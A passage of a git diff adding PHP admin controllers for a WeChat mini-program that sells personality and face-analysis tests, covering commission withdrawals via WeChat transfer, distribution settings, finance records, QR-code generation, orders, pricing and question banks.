+ $outDetailNo = 'TX' . date('YmdHis') . mt_rand(1000, 9999);
+
+ // 调用微信商家转账到零钱接口
+ $service = new \app\common\service\WechatTransferService();
+ $result = $service->createTransfer([
+ 'out_detail_no' => $outDetailNo,
+ 'transfer_amount'=> (int) $record['amountFen'],
+ 'transfer_remark'=> '推广佣金提现',
+ 'openid' => $record['openid'],
+ 'batch_name' => '推广佣金提现',
+ 'batch_remark' => '用户提现',
+ ]);
+
+ if ($result['success'] !== true) {
+ $err = $result['error'] ?? [];
+ $code = $err['code'] ?? 'UNKNOWN';
+ $msg = $err['message'] ?? '微信转账接口调用失败';
+ return error("微信转账发起失败({$code}):{$msg}", 500);
+ }
+
+ $wechatData = $result['data'] ?? [];
+ Db::name('distribution_withdrawals')
+ ->where('id', $id)
+ ->update([
+ // 2=待收款(已发起微信转账,等待用户确认)
+ 'status' => 2,
+ 'auditNote' => $note,
+ 'auditAt' => $now,
+ 'updatedAt' => $now,
+ 'pay_type' => 'wechat',
+ 'out_bill_no' => $outDetailNo,
+ 'transfer_bill_no' => $wechatData['batch_id'] ?? null,
+ 'wechat_pay_state' => $wechatData['batch_status'] ?? 'PROCESSING',
+ 'transfer_scene_id'=> $wechatData['transfer_scene_id'] ?? env('TRANSFER_SCENE_ID', '1005'),
+ 'mch_id' => env('MCH_ID', null),
+ ]);
+
+ return success(null, '审核通过,已发起微信转账');
+ } catch (\Exception $e) {
+ return error('操作失败:' . $e->getMessage(), 500);
+ }
+ }
+
+ // ─────────────────────────────────────────────────────────────
+ // POST distribution/withdrawals/:id/reject 审核拒绝
+ // ─────────────────────────────────────────────────────────────
+ public function rejectWithdrawal(int $id)
+ {
+ $user = $this->request->user ?? null;
+ if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) {
+ return error('无权限', 403);
+ }
+
+ $enterpriseId = (int) ($user['enterpriseId'] ?? 0);
+ $note = Request::param('note', '');
+ $now = time();
+
+ $record = Db::name('distribution_withdrawals')
+ ->alias('w')
+ ->join('wechat_users u', 'w.userId = u.id')
+ ->where('w.id', $id)
+ ->where('u.enterpriseId', $enterpriseId)
+ ->field('w.*')
+ ->find();
+ // 仅允许处理审核中(status=0)的记录
+ if (!$record || (int)$record['status'] !== 0) {
+ return error('提现申请不存在、已处理或无权限', 400);
+ }
+
+ Db::startTrans();
+ try {
+ // 退回余额
+ Db::name('wechat_users')
+ ->where('id', $record['userId'])
+ ->inc('walletBalance', $record['amountFen'])
+ ->update(['updatedAt' => $now]);
+
+ Db::name('distribution_withdrawals')
+ ->where('id', $id)
+ ->update([
+ // 1=已驳回
+ 'status' => 1,
+ 'auditNote' => $note,
+ 'auditAt' => $now,
+ 'updatedAt' => $now,
+ ]);
+
+ Db::commit();
+ return success(null, '已拒绝,余额已退回');
+ } catch (\Exception $e) {
+ Db::rollback();
+ return error('操作失败:' . $e->getMessage(), 500);
+ }
+ }
+
+ // ─────────────────────────────────────────────────────────────
+ // GET distribution/settings 获取企业分销配置
+ // ─────────────────────────────────────────────────────────────
+ public function settings()
+ {
+ $user = $this->request->user ?? null;
+ if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) {
+ return error('无权限', 403);
+ }
+
+ $enterpriseId = (int) ($user['enterpriseId'] ?? 0);
+
+ try {
+ $config = Db::name('system_config')
+ ->where('key', 'distribution')
+ ->where('enterprise_id', $enterpriseId)
+ ->find();
+
+ $tsDefault = self::defaultTestSettings();
+ $default = [
+ 'enabled' => true,
+ 'promoCenterTitle' => '推广中心',
+ 'bindingDays' => 30,
+ 'testSettings' => $tsDefault,
+ ];
+
+ if ($config && $config['value']) {
+ $settings = is_string($config['value']) ? json_decode($config['value'], true) : $config['value'];
+ $settings = array_merge($default, $settings ?? []);
+ } else {
+ $settings = $default;
+ }
+
+ // 附加前端可读的 commissionAmount(元)
+ $settings['testSettings'] = self::appendTestSettingsAmount(
+ $settings['testSettings'] ?? $tsDefault
+ );
+
+ return success($settings);
+ } catch (\Exception $e) {
+ return error('获取配置失败:' . $e->getMessage(), 500);
+ }
+ }
+
+ // ─────────────────────────────────────────────────────────────
+ // PUT distribution/settings 更新企业分销配置
+ // ─────────────────────────────────────────────────────────────
+ public function updateSettings()
+ {
+ $user = $this->request->user ?? null;
+ if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) {
+ return error('无权限', 403);
+ }
+
+ $enterpriseId = (int) ($user['enterpriseId'] ?? 0);
+ $settings = Request::only(['enabled', 'promoCenterTitle', 'bindingDays', 'testSettings']);
+
+ $promoTitle = trim((string)($settings['promoCenterTitle'] ?? ''));
+ $toSave = [
+ 'enabled' => (bool)($settings['enabled'] ?? true),
+ 'promoCenterTitle' => $promoTitle !== '' ? $promoTitle : '推广中心',
+ 'bindingDays' => (int)($settings['bindingDays'] ?? 30),
+ 'testSettings' => self::sanitizeTestSettings($settings['testSettings'] ?? null),
+ ];
+
+ try {
+ $now = time();
+ $existing = Db::name('system_config')
+ ->where('key', 'distribution')
+ ->where('enterprise_id', $enterpriseId)
+ ->find();
+
+ if ($existing) {
+ Db::name('system_config')
+ ->where('key', 'distribution')
+ ->where('enterprise_id', $enterpriseId)
+ ->update(['value' => json_encode($toSave, JSON_UNESCAPED_UNICODE), 'updatedAt' => $now]);
+ } else {
+ Db::name('system_config')->insert([
+ 'key' => 'distribution',
+ 'enterprise_id' => $enterpriseId,
+ 'value' => json_encode($toSave, JSON_UNESCAPED_UNICODE),
+ 'createdAt' => $now,
+ 'updatedAt' => $now,
+ ]);
+ }
+
+ $toSave['testSettings'] = self::appendTestSettingsAmount($toSave['testSettings']);
+ return success($toSave, '配置已保存');
+ } catch (\Exception $e) {
+ return error('保存配置失败:' . $e->getMessage(), 500);
+ }
+ }
+
+ private static function defaultTestSettings(): array
+ {
+ $item = ['enabled' => true, 'commissionType' => 'ratio', 'commissionRate' => 90, 'commissionAmountFen' => 0, 'noPayment' => false];
+ return ['face' => $item, 'mbti' => $item, 'disc' => $item, 'pdp' => $item];
+ }
+
+ private static function sanitizeTestSettings($raw): array
+ {
+ $default = self::defaultTestSettings();
+ if (!is_array($raw)) return $default;
+ $result = [];
+ foreach ($default as $type => $def) {
+ $s = $raw[$type] ?? [];
+ $commissionType = in_array($s['commissionType'] ?? '', ['ratio', 'amount']) ? $s['commissionType'] : 'ratio';
+ $amountFen = isset($s['commissionAmount'])
+ ? (int) round((float)$s['commissionAmount'] * 100)
+ : (int)($s['commissionAmountFen'] ?? 0);
+ $rate = max(0, min(100, (int)($s['commissionRate'] ?? 90)));
+ $result[$type] = [
+ 'enabled' => ($s['enabled'] ?? true) !== false,
+ 'commissionType' => $commissionType,
+ 'commissionRate' => $commissionType === 'ratio' ? $rate : 0,
+ 'commissionAmountFen'=> $commissionType === 'amount' ? max(0, $amountFen) : 0,
+ 'noPayment' => !empty($s['noPayment']),
+ ];
+ }
+ return $result;
+ }
+
+ private static function appendTestSettingsAmount(array $ts): array
+ {
+ foreach ($ts as $k => $v) {
+ $ts[$k]['commissionAmount'] = round(($v['commissionAmountFen'] ?? 0) / 100, 2);
+ }
+ return $ts;
+ }
+
+ private static function buildProductCommissionSeries(int $enterpriseId): array
+ {
+ $records = Db::name('commission_records')
+ ->where('enterpriseId', $enterpriseId)
+ ->whereIn('status', ['paid', 'frozen'])
+ ->field('orderId, testResultId, commissionSource, commissionFen')
+ ->select()
+ ->toArray();
+
+ $orderIds = [];
+ $testResultIds = [];
+ foreach ($records as $record) {
+ if (!empty($record['orderId'])) {
+ $orderIds[] = (int) $record['orderId'];
+ }
+ if (!empty($record['testResultId'])) {
+ $testResultIds[] = (int) $record['testResultId'];
+ }
+ }
+
+ $orderTypeMap = [];
+ if (!empty($orderIds)) {
+ $rows = Db::name('test_results')
+ ->whereIn('orderId', array_values(array_unique($orderIds)))
+ ->field('orderId, testType')
+ ->select()
+ ->toArray();
+ foreach ($rows as $row) {
+ $orderTypeMap[(int) $row['orderId']] = self::normalizeTestType($row['testType'] ?? '');
+ }
+ }
+
+ $resultTypeMap = [];
+ if (!empty($testResultIds)) {
+ $rows = Db::name('test_results')
+ ->whereIn('id', array_values(array_unique($testResultIds)))
+ ->field('id, testType')
+ ->select()
+ ->toArray();
+ foreach ($rows as $row) {
+ $resultTypeMap[(int) $row['id']] = self::normalizeTestType($row['testType'] ?? '');
+ }
+ }
+
+ $totals = [
+ 'face' => 0,
+ 'mbti' => 0,
+ 'disc' => 0,
+ 'pdp' => 0,
+ 'other' => 0,
+ ];
+
+ foreach ($records as $record) {
+ $type = 'other';
+ if (($record['commissionSource'] ?? '') === 'test_completion' && !empty($record['testResultId'])) {
+ $type = $resultTypeMap[(int) $record['testResultId']] ?? 'other';
+ } elseif (!empty($record['orderId'])) {
+ $type = $orderTypeMap[(int) $record['orderId']] ?? 'other';
+ }
+
+ if (!isset($totals[$type])) {
+ $type = 'other';
+ }
+ $totals[$type] += (int) ($record['commissionFen'] ?? 0);
+ }
+
+ return [
+ ['label' => '人脸分析', 'value' => round($totals['face'] / 100, 2)],
+ ['label' => 'MBTI', 'value' => round($totals['mbti'] / 100, 2)],
+ ['label' => 'DISC', 'value' => round($totals['disc'] / 100, 2)],
+ ['label' => 'PDP', 'value' => round($totals['pdp'] / 100, 2)],
+ ['label' => '其他', 'value' => round($totals['other'] / 100, 2)],
+ ];
+ }
+
+ private static function normalizeTestType(string $testType): string
+ {
+ $normalized = strtolower(trim($testType));
+ if ($normalized === 'ai') {
+ return 'face';
+ }
+ if (in_array($normalized, ['face', 'mbti', 'disc', 'pdp'], true)) {
+ return $normalized;
+ }
+ return 'other';
+ }
+
+ private static function getTestTypeLabel(string $testType): string
+ {
+ $map = [
+ 'face' => '人脸',
+ 'mbti' => 'MBTI',
+ 'disc' => 'DISC',
+ 'pdp' => 'PDP',
+ 'other' => '其他',
+ ];
+
+ return $map[$testType] ?? strtoupper($testType ?: '其他');
+ }
+}
diff --git a/api/app/controller/admin/Finance.php b/api/app/controller/admin/Finance.php
new file mode 100644
index 0000000..fef7d3a
--- /dev/null
+++ b/api/app/controller/admin/Finance.php
@@ -0,0 +1,204 @@
+resolveEnterpriseId();
+ if (!$enterpriseId) {
+ return error('未获取到企业信息', 400);
+ }
+
+ try {
+ $enterprise = Db::name('enterprises')
+ ->where('id', $enterpriseId)
+ ->field('id, name, balance')
+ ->find();
+ if (!$enterprise) {
+ return error('企业不存在', 404);
+ }
+
+ $todayStart = strtotime(date('Y-m-d 00:00:00'));
+ $monthStart = strtotime(date('Y-m-01 00:00:00'));
+
+ $baseOrderQuery = Db::name('orders')
+ ->where('enterpriseId', $enterpriseId)
+ ->whereIn('status', ['paid', 'completed'])
+ ->whereIn('productType', ['face', 'mbti', 'disc', 'pdp']);
+
+ $totalIncomeFen = (int) ((clone $baseOrderQuery)->sum('amount') ?? 0);
+ $todayIncomeFen = (int) ((clone $baseOrderQuery)->where('payTime', '>=', $todayStart)->sum('amount') ?? 0);
+ $monthIncomeFen = (int) ((clone $baseOrderQuery)->where('payTime', '>=', $monthStart)->sum('amount') ?? 0);
+ $paidOrderCount = (int) ((clone $baseOrderQuery)->count());
+
+ $manualRechargeFen = (int) (Db::name('finance_records')
+ ->where('enterpriseId', $enterpriseId)
+ ->where('type', 'recharge')
+ ->whereNull('orderId')
+ ->sum('amount') ?? 0);
+
+ $frozenCommissionFen = (int) (Db::name('commission_records')
+ ->where('enterpriseId', $enterpriseId)
+ ->where('status', 'frozen')
+ ->sum('commissionFen') ?? 0);
+
+ return success([
+ 'enterpriseId' => $enterpriseId,
+ 'enterpriseName' => $enterprise['name'] ?? '',
+ 'balanceFen' => (int) ($enterprise['balance'] ?? 0),
+ 'totalIncomeFen' => $totalIncomeFen,
+ 'todayIncomeFen' => $todayIncomeFen,
+ 'monthIncomeFen' => $monthIncomeFen,
+ 'manualRechargeFen' => $manualRechargeFen,
+ 'frozenCommissionFen' => $frozenCommissionFen,
+ 'paidOrderCount' => $paidOrderCount,
+ ]);
+ } catch (\Throwable $e) {
+ return error('获取企业财务概览失败:' . $e->getMessage(), 500);
+ }
+ }
+
+ /**
+ * 财务流水
+ */
+ public function records()
+ {
+ $enterpriseId = $this->resolveEnterpriseId();
+ if (!$enterpriseId) {
+ return error('未获取到企业信息', 400);
+ }
+
+ try {
+ $page = max(1, (int) Request::param('page', 1));
+ $pageSize = min(100, max(1, (int) Request::param('pageSize', 20)));
+
+ $query = Db::name('finance_records')
+ ->where('enterpriseId', $enterpriseId)
+ ->order('createdAt', 'desc')
+ ->order('id', 'desc');
+
+ $total = (int) (clone $query)->count();
+ $list = (clone $query)
+ ->page($page, $pageSize)
+ ->select()
+ ->toArray();
+
+ $result = array_map(function ($row) {
+ $type = (string) ($row['type'] ?? '');
+ $orderId = isset($row['orderId']) ? (int) $row['orderId'] : 0;
+ $direction = $type === 'consume' ? 'out' : 'in';
+ $description = (string) ($row['description'] ?? '');
+ $typeLabel = $type === 'consume'
+ ? '佣金扣减'
+ : (strpos($description, '企业余额充值') !== false ? '余额充值' : ($orderId > 0 ? '测试收入' : '余额充值'));
+
+ return [
+ 'id' => (int) ($row['id'] ?? 0),
+ 'type' => $type,
+ 'typeLabel' => $typeLabel,
+ 'direction' => $direction,
+ 'amountFen' => (int) ($row['amount'] ?? 0),
+ 'balanceBeforeFen' => (int) ($row['balanceBefore'] ?? 0),
+ 'balanceAfterFen' => (int) ($row['balanceAfter'] ?? 0),
+ 'description' => $description,
+ 'orderId' => $orderId ?: null,
+ 'createdAt' => (int) ($row['createdAt'] ?? 0),
+ ];
+ }, $list);
+
+ return success([
+ 'list' => $result,
+ 'total' => $total,
+ 'page' => $page,
+ 'pageSize' => $pageSize,
+ ]);
+ } catch (\Throwable $e) {
+ return error('获取财务流水失败:' . $e->getMessage(), 500);
+ }
+ }
+
+ /**
+ * 企业手动充值
+ */
+ public function rechargeQrcode()
+ {
+ $enterpriseId = $this->resolveEnterpriseId();
+ if (!$enterpriseId) {
+ return error('未获取到企业信息', 400);
+ }
+
+ try {
+ $amountFen = (int) Request::param('amountFen', 0);
+ if ($amountFen <= 0) {
+ return error('充值金额必须大于 0', 400);
+ }
+ $enterprise = Db::name('enterprises')
+ ->where('id', $enterpriseId)
+ ->field('id, name')
+ ->find();
+ if (!$enterprise) {
+ return error('企业不存在', 404);
+ }
+
+ // scene 长度要尽量短,避免超过微信限制
+ $scene = 'eid=' . $enterpriseId . '&a=' . $amountFen . '&r=1';
+ $page = 'pages/recharge/index';
+ $result = WechatService::getWxacodeUnlimited($scene, $page, 430);
+ if (isset($result['errcode'])) {
+ return error('获取充值小程序码失败:' . ($result['errmsg'] ?? ''), 500);
+ }
+
+ $binary = $result['binary'] ?? '';
+ if ($binary === '') {
+ return error('充值小程序码生成失败', 500);
+ }
+
+ return success([
+ 'enterpriseId' => $enterpriseId,
+ 'enterpriseName' => (string) ($enterprise['name'] ?? ''),
+ 'amountFen' => $amountFen,
+ 'amountYuan' => number_format($amountFen / 100, 2, '.', ''),
+ 'scene' => $scene,
+ 'page' => $page,
+ 'qrcode' => 'data:image/png;base64,' . base64_encode($binary),
+ ]);
+ } catch (\Throwable $e) {
+ return error('生成充值二维码失败:' . $e->getMessage(), 500);
+ }
+ }
+
+ /**
+ * 解析当前管理账号所属企业
+ */
+ protected function resolveEnterpriseId(): ?int
+ {
+ $user = $this->request->user ?? null;
+ if (!$user || !in_array($user['role'] ?? '', ['admin', 'enterprise_admin'], true)) {
+ return null;
+ }
+
+ $enterpriseId = (int) ($user['enterpriseId'] ?? 0);
+ if ($enterpriseId > 0) {
+ return $enterpriseId;
+ }
+
+ $adminId = (int) ($user['userId'] ?? 0);
+ if ($adminId <= 0) {
+ return null;
+ }
+
+ return (int) (Db::name('users')->where('id', $adminId)->value('enterpriseId') ?? 0) ?: null;
+ }
+}
diff --git a/api/app/controller/admin/Invite.php b/api/app/controller/admin/Invite.php
new file mode 100644
index 0000000..cebb80a
--- /dev/null
+++ b/api/app/controller/admin/Invite.php
@@ -0,0 +1,64 @@
+request->user ?? null;
+ if (!$admin || !in_array($admin['role'] ?? '', ['admin', 'enterprise_admin'])) {
+ return error('无权限访问', 403);
+ }
+
+ $enterpriseId = null;
+ if (($admin['role'] ?? '') === 'enterprise_admin') {
+ $row = Db::name('users')->where('id', (int) ($admin['userId'] ?? 0))->find();
+ $enterpriseId = isset($row['enterpriseId']) ? (int) $row['enterpriseId'] : null;
+ } else {
+ $enterpriseId = (int) $this->request->param('enterpriseId', 0);
+ if ($enterpriseId <= 0) {
+ return error('请指定企业(企业管理员无需传参,使用所属企业)', 400);
+ }
+ }
+ if ($enterpriseId <= 0) {
+ return error('无法确定企业,仅企业管理员或指定 enterpriseId 可生成邀请码', 400);
+ }
+
+ // 场景值:e_企业ID,小程序 onLoad(options.scene) 可解析
+ $scene = 'e_' . $enterpriseId;
+ $page = 'pages/enterprise/index';
+
+ $result = WechatService::getWxacodeUnlimited($scene, $page, 430);
+ if (isset($result['errcode'])) {
+ return error('获取小程序码失败:' . ($result['errmsg'] ?? ''), 500);
+ }
+
+ $binary = $result['binary'] ?? '';
+ if ($binary === '') {
+ return error('小程序码生成失败', 500);
+ }
+
+ $base64 = 'data:image/png;base64,' . base64_encode($binary);
+
+ return success([
+ 'qrcode' => $base64,
+ 'scene' => $scene,
+ 'page' => $page,
+ ]);
+ }
+}
+
diff --git a/api/app/controller/admin/Order.php b/api/app/controller/admin/Order.php
new file mode 100644
index 0000000..69347eb
--- /dev/null
+++ b/api/app/controller/admin/Order.php
@@ -0,0 +1,168 @@
+request->user ?? null;
+ if (!$user) {
+ return error('未登录', 401);
+ }
+ if (!in_array($user['role'] ?? '', ['admin', 'enterprise_admin'])) {
+ return error('无权限访问', 403);
+ }
+
+ $page = (int) Request::param('page', 1);
+ $pageSize = (int) Request::param('pageSize', 20);
+ $pageSize = min(max($pageSize, 1), 100);
+ $keyword = trim(Request::param('keyword', ''));
+ $status = trim(Request::param('status', ''));
+ $productType = trim(Request::param('productType', ''));
+
+ // admin / enterprise_admin 均只能看本企业订单
+ $enterpriseId = $user['enterpriseId'] ?? null;
+ if (!$enterpriseId) {
+ $adminRow = Db::name('users')->where('id', $user['userId'] ?? 0)->find();
+ $enterpriseId = $adminRow['enterpriseId'] ?? null;
+ }
+
+ $query = Db::name('orders');
+
+ if ($enterpriseId !== null) {
+ $query->where('enterpriseId', $enterpriseId);
+ }
+ if ($status !== '') {
+ $query->where('status', $status);
+ }
+ if ($productType !== '') {
+ $query->where('productType', $productType);
+ }
+ if ($keyword !== '') {
+ if (is_numeric($keyword)) {
+ $query->where(function ($q) use ($keyword) {
+ $q->whereLike('orderNo', '%' . $keyword . '%')->whereOr('userId', (int) $keyword);
+ });
+ } else {
+ $userIdsMatch = Db::name('wechat_users')->where('nickname|phone', 'like', '%' . $keyword . '%')->column('id');
+ $userIdsMatch = array_values(array_filter($userIdsMatch));
+ $query->where(function ($q) use ($keyword, $userIdsMatch) {
+ $q->whereLike('orderNo', '%' . $keyword . '%');
+ if (!empty($userIdsMatch)) {
+ $q->whereOr('userId', 'in', $userIdsMatch);
+ }
+ });
+ }
+ }
+
+ $query->order('createdAt', 'desc');
+ $total = (int) (clone $query)->count();
+ $list = (clone $query)->page($page, $pageSize)->select()->toArray();
+
+ $userIds = array_values(array_unique(array_filter(array_column($list, 'userId'))));
+ $usersMap = [];
+ if (!empty($userIds)) {
+ $users = Db::name('wechat_users')
+ ->where('id', 'in', $userIds)
+ ->field('id, nickname, phone')
+ ->select()
+ ->toArray();
+ foreach ($users as $u) {
+ $usersMap[(int) $u['id']] = $u;
+ }
+ }
+
+ $orderIds = array_column($list, 'id');
+ $testsByOrder = [];
+ if (!empty($orderIds)) {
+ $tests = Db::name('test_results')
+ ->where('orderId', 'in', $orderIds)
+ ->field('id, orderId, userId, testType, resultData, createdAt')
+ ->order('createdAt', 'desc')
+ ->select()
+ ->toArray();
+ foreach ($tests as $t) {
+ $oid = (int) ($t['orderId'] ?? 0);
+ if ($oid <= 0) {
+ continue;
+ }
+ if (!isset($testsByOrder[$oid])) {
+ $testsByOrder[$oid] = [];
+ }
+ $raw = $t['resultData'] ?? '';
+ $resultStr = is_string($raw) ? $raw : json_encode($raw, JSON_UNESCAPED_UNICODE);
+ $testsByOrder[$oid][] = [
+ 'id' => (int) $t['id'],
+ 'testType' => $t['testType'] ?? '',
+ 'resultSummary' => $this->extractResultSummary($t['testType'] ?? '', $resultStr),
+ 'createdAt' => isset($t['createdAt']) ? (int) $t['createdAt'] : null,
+ ];
+ }
+ }
+
+ foreach ($list as &$row) {
+ $uid = (int) ($row['userId'] ?? 0);
+ $u = $usersMap[$uid] ?? null;
+ $row['userName'] = $u ? ($u['nickname'] ?? ('用户' . $uid)) : ('用户' . $uid);
+ $row['userPhone'] = $u ? ($u['phone'] ?? '') : '';
+ $row['testData'] = $testsByOrder[$row['id']] ?? [];
+ }
+
+ return paginate_response($list, $total, $page, $pageSize);
+ }
+
+ /**
+ * 从 resultData 字符串中提取简要结果(用于列表展示)
+ */
+ private function extractResultSummary(string $testType, string $resultStr): string
+ {
+ if ($resultStr === '') {
+ return '-';
+ }
+ $data = json_decode($resultStr, true);
+ if (!is_array($data)) {
+ return mb_substr($resultStr, 0, 30) . (mb_strlen($resultStr) > 30 ? '…' : '');
+ }
+ $type = strtolower($testType);
+
+ if ($type === 'mbti') {
+ return (string) ($data['mbtiType'] ?? $data['type'] ?? $data['result'] ?? '');
+ }
+ if ($type === 'disc') {
+ $desc = $data['description']['type'] ?? null;
+ if (is_string($desc) && $desc !== '') {
+ return $desc;
+ }
+ if (!empty($data['dominantType'])) {
+ return (string) $data['dominantType'] . '型';
+ }
+ return (string) ($data['disc'] ?? '');
+ }
+ if ($type === 'pdp') {
+ $desc = $data['description']['type'] ?? null;
+ if (is_string($desc) && $desc !== '') {
+ return $desc;
+ }
+ if (!empty($data['dominantType'])) {
+ return (string) $data['dominantType'];
+ }
+ return (string) ($data['pdp'] ?? '');
+ }
+ if ($type === 'face' || $type === 'ai') {
+ return '人脸分析';
+ }
+
+ return (string) ($data['type'] ?? $data['result'] ?? '');
+ }
+}
diff --git a/api/app/controller/admin/Pricing.php b/api/app/controller/admin/Pricing.php
new file mode 100644
index 0000000..afffaf6
--- /dev/null
+++ b/api/app/controller/admin/Pricing.php
@@ -0,0 +1,185 @@
+request->user ?? null;
+ if (!$user) {
+ return error('未登录', 401);
+ }
+ if (!in_array($user['role'], ['admin', 'enterprise_admin'])) {
+ return error('无权限访问', 403);
+ }
+
+ try {
+ $enterpriseId = $this->resolveEnterpriseId($user);
+
+ // ── 个人版定价 ──
+ $adminPersonalConfig = $this->queryConfig('admin_personal', $enterpriseId);
+ $superPersonalConfig = PricingConfigModel::where('type', 'personal')->whereNull('enterpriseId')->find();
+ $personalConfig = $adminPersonalConfig
+ ? $adminPersonalConfig->config
+ : ($superPersonalConfig ? $superPersonalConfig->config : []);
+ $isUsingSuperAdminPersonalConfig = !$adminPersonalConfig;
+
+ // ── 企业版定价 ──
+ $adminEnterpriseConfig = $enterpriseId
+ ? $this->queryConfig('admin_enterprise', $enterpriseId)
+ : null;
+ $superEnterpriseConfig = PricingConfigModel::where('type', 'enterprise')->whereNull('enterpriseId')->find();
+ $enterpriseConfig = $adminEnterpriseConfig
+ ? $adminEnterpriseConfig->config
+ : ($superEnterpriseConfig ? $superEnterpriseConfig->config : []);
+ $isUsingSuperAdminEnterpriseConfig = !$adminEnterpriseConfig;
+
+ return success([
+ 'personal' => $personalConfig,
+ 'enterprise' => $enterpriseConfig,
+ 'isUsingSuperAdminConfig' => $isUsingSuperAdminPersonalConfig,
+ 'isUsingSuperAdminPersonalConfig' => $isUsingSuperAdminPersonalConfig,
+ 'isUsingSuperAdminEnterpriseConfig' => $isUsingSuperAdminEnterpriseConfig,
+ ]);
+ } catch (\Exception $e) {
+ return error('获取定价配置失败:' . $e->getMessage(), 500);
+ }
+ }
+
+ /**
+ * 更新定价配置(个人版 + 企业版)
+ * PUT /api/v1/admin/pricing
+ * Body: { personalConfig: {...}, enterpriseConfig: {...} }
+ * 兼容旧格式:{ config: {...} } → 仅更新个人版
+ */
+ public function update()
+ {
+ $user = $this->request->user ?? null;
+ if (!$user) {
+ return error('未登录', 401);
+ }
+ if (!in_array($user['role'], ['admin', 'enterprise_admin'])) {
+ return error('无权限访问', 403);
+ }
+
+ $rawBody = $this->request->getContent();
+ if (empty($rawBody)) {
+ $rawBody = file_get_contents('php://input');
+ }
+ $input = $rawBody ? json_decode($rawBody, true) : null;
+ if (!is_array($input)) {
+ $input = [];
+ }
+
+ // 兼容旧版仅传 config 的情况
+ $personalConfig = $input['personalConfig'] ?? $input['config'] ?? null;
+ $enterpriseConfig = $input['enterpriseConfig'] ?? null;
+
+ if ($personalConfig === null && $enterpriseConfig === null) {
+ return error('配置数据不能为空', 400);
+ }
+
+ try {
+ $enterpriseId = $this->resolveEnterpriseId($user);
+
+ $result = [];
+
+ // ── 保存个人版定价 ──
+ if ($personalConfig !== null) {
+ if (!is_array($personalConfig)) {
+ return error('个人版定价格式错误', 400);
+ }
+ foreach (['face', 'mbti', 'disc', 'pdp'] as $field) {
+ if (!array_key_exists($field, $personalConfig)) {
+ return error("个人版定价缺少字段:{$field}", 400);
+ }
+ }
+ $cfg = $this->queryConfig('admin_personal', $enterpriseId);
+ if (!$cfg) {
+ $cfg = PricingConfigModel::create([
+ 'type' => 'admin_personal',
+ 'enterpriseId' => $enterpriseId,
+ 'config' => $personalConfig,
+ ]);
+ } else {
+ $cfg->config = $personalConfig;
+ $cfg->save();
+ }
+ $result['personal'] = $cfg->config;
+ }
+
+ // ── 保存企业版定价(仅企业管理员)──
+ if ($enterpriseConfig !== null) {
+ if (!$enterpriseId) {
+ return error('仅企业管理员可设置企业版定价', 403);
+ }
+ if (!is_array($enterpriseConfig)) {
+ return error('企业版定价格式错误', 400);
+ }
+ foreach (['face', 'mbti', 'disc', 'pdp'] as $field) {
+ if (!array_key_exists($field, $enterpriseConfig)) {
+ return error("企业版定价缺少字段:{$field}", 400);
+ }
+ }
+ $cfg = $this->queryConfig('admin_enterprise', $enterpriseId);
+ if (!$cfg) {
+ $cfg = PricingConfigModel::create([
+ 'type' => 'admin_enterprise',
+ 'enterpriseId' => $enterpriseId,
+ 'config' => $enterpriseConfig,
+ ]);
+ } else {
+ $cfg->config = $enterpriseConfig;
+ $cfg->save();
+ }
+ $result['enterprise'] = $cfg->config;
+ }
+
+ return success($result, '定价配置已保存');
+ } catch (\Exception $e) {
+ return error('保存失败:' . $e->getMessage(), 500);
+ }
+ }
+
+ /**
+ * 从 JWT 用户信息中解析 enterpriseId
+ */
+ private function resolveEnterpriseId(array $user): ?int
+ {
+ if (($user['role'] ?? '') !== 'enterprise_admin') {
+ return null;
+ }
+ $adminRow = Db::name('users')->where('id', $user['userId'] ?? 0)->find();
+ $eid = $adminRow['enterpriseId'] ?? null;
+ return $eid ? (int) $eid : null;
+ }
+
+ /**
+ * 按 type + enterpriseId 查询定价配置
+ */
+ private function queryConfig(string $type, ?int $enterpriseId): ?PricingConfigModel
+ {
+ $q = PricingConfigModel::where('type', $type);
+ if ($enterpriseId) {
+ $q->where('enterpriseId', $enterpriseId);
+ } else {
+ $q->whereNull('enterpriseId');
+ }
+ return $q->find();
+ }
+}
diff --git a/api/app/controller/admin/Question.php b/api/app/controller/admin/Question.php
new file mode 100644
index 0000000..068590d
--- /dev/null
+++ b/api/app/controller/admin/Question.php
@@ -0,0 +1,457 @@
+request->user ?? null;
+
+ if (!$user) {
+ return error('未登录', 401);
+ }
+
+ // 确定企业ID
+ $enterpriseId = null;
+ if ($user['role'] === 'enterprise_admin') {
+ // 企业管理员:使用自己的企业ID
+ $userModel = Db::name('users')->where('id', $user['userId'])->find();
+ $enterpriseId = $userModel['enterpriseId'] ?? null;
+ } elseif ($user['role'] === 'admin') {
+ // 普通管理员:可以查看所有企业的题库,但优先显示超管题库
+ $enterpriseId = Request::param('enterpriseId', null);
+ } else {
+ return error('无权限访问', 403);
+ }
+
+ $page = Request::param('page', 1);
+ $pageSize = Request::param('pageSize', 20);
+ $type = Request::param('type', ''); // mbti/disc/pdp
+ $status = Request::param('status', ''); // 1启用/0禁用
+
+ $where = [];
+
+ // 如果指定了企业ID,优先查询企业题库
+ // 如果没有企业题库,则查询超管题库(enterpriseId = NULL)
+ if ($enterpriseId !== null) {
+ // 先检查企业是否有自己的题库
+ $enterpriseQuestionCount = QuestionModel::where('enterpriseId', $enterpriseId)
+ ->where('type', $type ?: ['mbti', 'disc', 'pdp'])
+ ->count();
+
+ if ($enterpriseQuestionCount > 0) {
+ // 使用企业题库
+ $where['enterpriseId'] = $enterpriseId;
+ } else {
+ // 使用超管题库
+ $where['enterpriseId'] = null;
+ }
+ } else {
+ // 普通管理员查看超管题库
+ $where['enterpriseId'] = null;
+ }
+
+ // 类型筛选
+ if ($type) {
+ $where['type'] = $type;
+ }
+
+ // 状态筛选
+ if ($status !== '') {
+ $where['status'] = $status;
+ }
+
+ // 查询题库列表
+ $list = QuestionModel::where($where)
+ ->order('sort', 'asc')
+ ->order('id', 'asc')
+ ->page($page, $pageSize)
+ ->select()
+ ->toArray();
+
+ // 处理 options 字段,确保返回数组格式
+ foreach ($list as &$item) {
+ if (isset($item['options'])) {
+ // 如果是对象格式(stdClass),先转换为数组
+ if (is_object($item['options'])) {
+ $item['options'] = json_decode(json_encode($item['options']), true);
+ }
+ // 如果是关联数组(不是索引数组),转换为索引数组
+ if (is_array($item['options']) && !isset($item['options'][0])) {
+ $item['options'] = array_values($item['options']);
+ }
+ }
+ }
+ unset($item);
+
+ // 总数
+ $total = QuestionModel::where($where)->count();
+
